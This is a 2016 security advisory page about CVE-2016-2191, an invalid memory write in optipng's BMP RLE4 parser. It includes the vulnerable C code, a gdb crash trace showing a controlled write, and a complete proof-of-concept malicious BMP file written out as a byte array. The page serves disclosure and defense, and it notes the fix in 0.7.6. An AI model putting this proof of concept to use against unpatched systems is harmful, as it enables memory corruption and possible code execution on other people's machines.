what you don't know can hurt you

Optipng Invalid Write

Optipng Invalid Write
Posted Apr 5, 2016
Authored by Hans Jerry Illikainen

An invalid write may occur in optipng before version 0.7.6 while processing bitmap images due to `crt_row' being (inc|dec)remented without any boundary checking when encountering delta escapes.

tags | advisory
advisories | CVE-2016-2191
MD5 | 652a269ac45b0937a4f3a2dcadc3d8ab

Optipng Invalid Write

Change Mirror Download
An invalid write may occur in optipng before version 0.7.6 while
processing bitmap images due to `crt_row' being (inc|dec)remented
without any boundary checking when encountering delta escapes.

optipng-0.7.5/src/pngxtern/pngxrbmp.c:
,----
| 210 static size_t
| 211 bmp_read_rows(png_bytepp begin_row, png_bytepp end_row, size_t row_size,
| 212 unsigned int compression, FILE *stream)
| 213 {
| ...
| 272 crt_row = begin_row;
| 273 for ( ; ; )
| 274 {
| 275 ch = getc(stream); b1 = (unsigned int)ch;
| 276 ch = getc(stream); b2 = (unsigned int)ch;
| 277 if (ch == EOF)
| 278 break;
| 279 if (b1 == 0) /* escape */
| 280 {
| ...
| 307 else if (b2 == 2) /* delta */
| 308 {
| 309 ch = getc(stream); b1 = (unsigned int)ch; /* horiz. offset */
| 310 ch = getc(stream); b2 = (unsigned int)ch; /* vert. offset */
| ...
| 314 if (b2 > (size_t)((end_row - crt_row) * inc))
| 315 b2 = (unsigned int)((end_row - crt_row) * inc);
| 316 for ( ; b2 > 0; --b2)
| 317 {
| ...
| 319 crt_row += inc;
| ...
| 322 }
| ...
| 324 }
| 325 else /* b2 >= 3 bytes in absolute mode */
| 326 {
| 327 len = (b2 <= endn - crtn) ? b2 : (unsigned int)(endn - crtn);
| 328 if (bmp_fread_fn(*crt_row, crtn, len, stream) != len)
| 329 break;
| 330 crtn += len;
| 331 }
| 332 }
| ...
| 352 }
`----

After `crt_row' has moved OOB, an invalid write may be triggered with
`bmp_fread_fn()' in absolute mode:

,----
| $ gdb --args optipng oob.bmp
| (gdb) r
| ** Processing: oob.bmp
|
| Program received signal SIGSEGV, Segmentation fault.
| __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96
| 96 ../sysdeps/x86_64/multiarch/../memcpy.S: No such file or directory.
|
| (gdb) bt
| #0 __memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:96
| #1 0x00007ffff7a89003 in __GI__IO_file_xsgetn (fp=0x64a010, data=<optimized out>, n=4) at fileops.c:1371
| #2 0x00007ffff7a7e5f0 in __GI__IO_fread (buf=<optimized out>, size=1, count=4, fp=0x64a010) at iofread.c:42
| #3 0x000000000040b632 in bmp_rle4_fread (ptr=0x4141 <error: Cannot access memory at address 0x4141>, offset=0, len=8, stream=0x64a010) at pngxrbmp.c:170
| #4 0x000000000040baf6 in bmp_read_rows (begin_row=0x64e668, end_row=0x64a538, row_size=4, compression=2, stream=0x64a010) at pngxrbmp.c:328
| #5 0x000000000040cb0e in pngx_read_bmp (png_ptr=0x64a240, info_ptr=0x64a4b0, stream=0x64a010) at pngxrbmp.c:724
| #6 0x000000000040b352 in pngx_read_image (png_ptr=0x64a240, info_ptr=0x64a4b0, fmt_name_ptr=0x7fffffffbf10, fmt_long_name_ptr=0x0) at pngxread.c:130
| #7 0x00000000004043cc in opng_read_file (infile=0x64a010) at optim.c:939
| #8 0x000000000040586a in opng_optimize_impl (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1503
| #9 0x0000000000406749 in opng_optimize (infile_name=0x7fffffffe86f "oob.bmp") at optim.c:1853
| #10 0x0000000000402bf0 in process_files (argc=2, argv=0x7fffffffe638) at optipng.c:941
| #11 0x0000000000402cb5 in main (argc=2, argv=0x7fffffffe638) at optipng.c:975
|
| (gdb) x/i $rip
| => 0x7ffff7aa3427 <__memcpy_sse2+55 at ../sysdeps/x86_64/multiarch/../memcpy.S:96>: mov %ecx,(%rdi)
| (gdb) p/x $ecx
| $1 = 0x11223344
| (gdb) p/x $rdi
| $2 = 0x4141
| (gdb)
`----


oob.bmp
=======

,----
| unsigned char bmp[] = {
| /* bmp header */
| 0x42, 0x4d, /* BM */
| 0x00, 0x00, 0x00, 0x00, /* bmp size */
| 0x00, 0x00, /* reserved */
| 0x00, 0x00, /* reserved */
| 0x7a, 0x00, 0x00, 0x00, /* offset */
|
| /* dib header */
| 0x6c, 0x00, 0x00, 0x00, /* header_size (BITMAPV4HEADER) */
| 0x01, 0x00, 0x00, 0x00, /* width */
| 0x26, 0x08, 0x00, 0x00, /* height */
| 0x01, 0x00, /* color planes */
| 0x04, 0x00, /* bits per pixel */
| 0x02, 0x00, 0x00, 0x00, /* compression (RLE4) */
| 0x00, 0x00, 0x00, 0x00, /* size of bitmap */
| 0x00, 0x00, 0x00, 0x00, /* horizontal resolution */
| 0x00, 0x00, 0x00, 0x00, /* vertical resolution */
| 0x01, 0x00, 0x00, 0x00, /* number of colors */
| 0x00, 0x00, 0x00, 0x00, /* number of important colors */
| 0x00, 0x00, 0x00, 0x00, /* red mask */
| 0x00, 0x00, 0x00, 0x00, /* green mask */
| 0x00, 0x00, 0x00, 0x00, /* blue mask */
| 0x00, 0x00, 0x00, 0x00, /* alpha mask */
| 0x00, 0x00, 0x00, 0x00, /* color space type */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */
| 0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */
| 0x00, 0x00, 0x00, 0x00, /* red gamma */
| 0x00, 0x00, 0x00, 0x00, /* green gamma */
| 0x00, 0x00, 0x00, 0x00, /* blue gamma */
|
| /*
| * delta escape (0x00, 0x02), b1, b2
| *
| * The number of delta escapes required for crt_row to be moved
| * beyond its allocated chunk depends on the image height.
| *
| * b1 is relevant in the last escape if the value at *crt_row is a
| * non-writable address due to:
| *
| * dcrtn = (b1 < endn - crtn) ? (crtn + b1) : endn;
| * [...]
| * for ( ; b2 > 0; --b2)
| * {
| * [...]
| * crt_row += inc;
| * crtn = 0
| * [...]
| * }
| * bmp_memset_fn(*crt_row, crtn, 0, dcrtn - crtn);
| *
| * For RLE4-encoded data, bmp_rle4_memset() bails if dcrtn - crtn == 0
| */
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x11, 0xff,
| 0x00, 0x02, 0x00, 0xff,
|
| /*
| * absolute mode (0x00, 0x03..0xff) followed by the value that's
| * bmp_fread_fn() to *crt_row
| */
| 0x00, 0xff, 0x44, 0x33, 0x22, 0x11
| };
`----


Solution
========

This issue has been assigned CVE-2016-2191 and is fixed in optipng
0.7.6.


--
Hans Jerry Illikainen

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close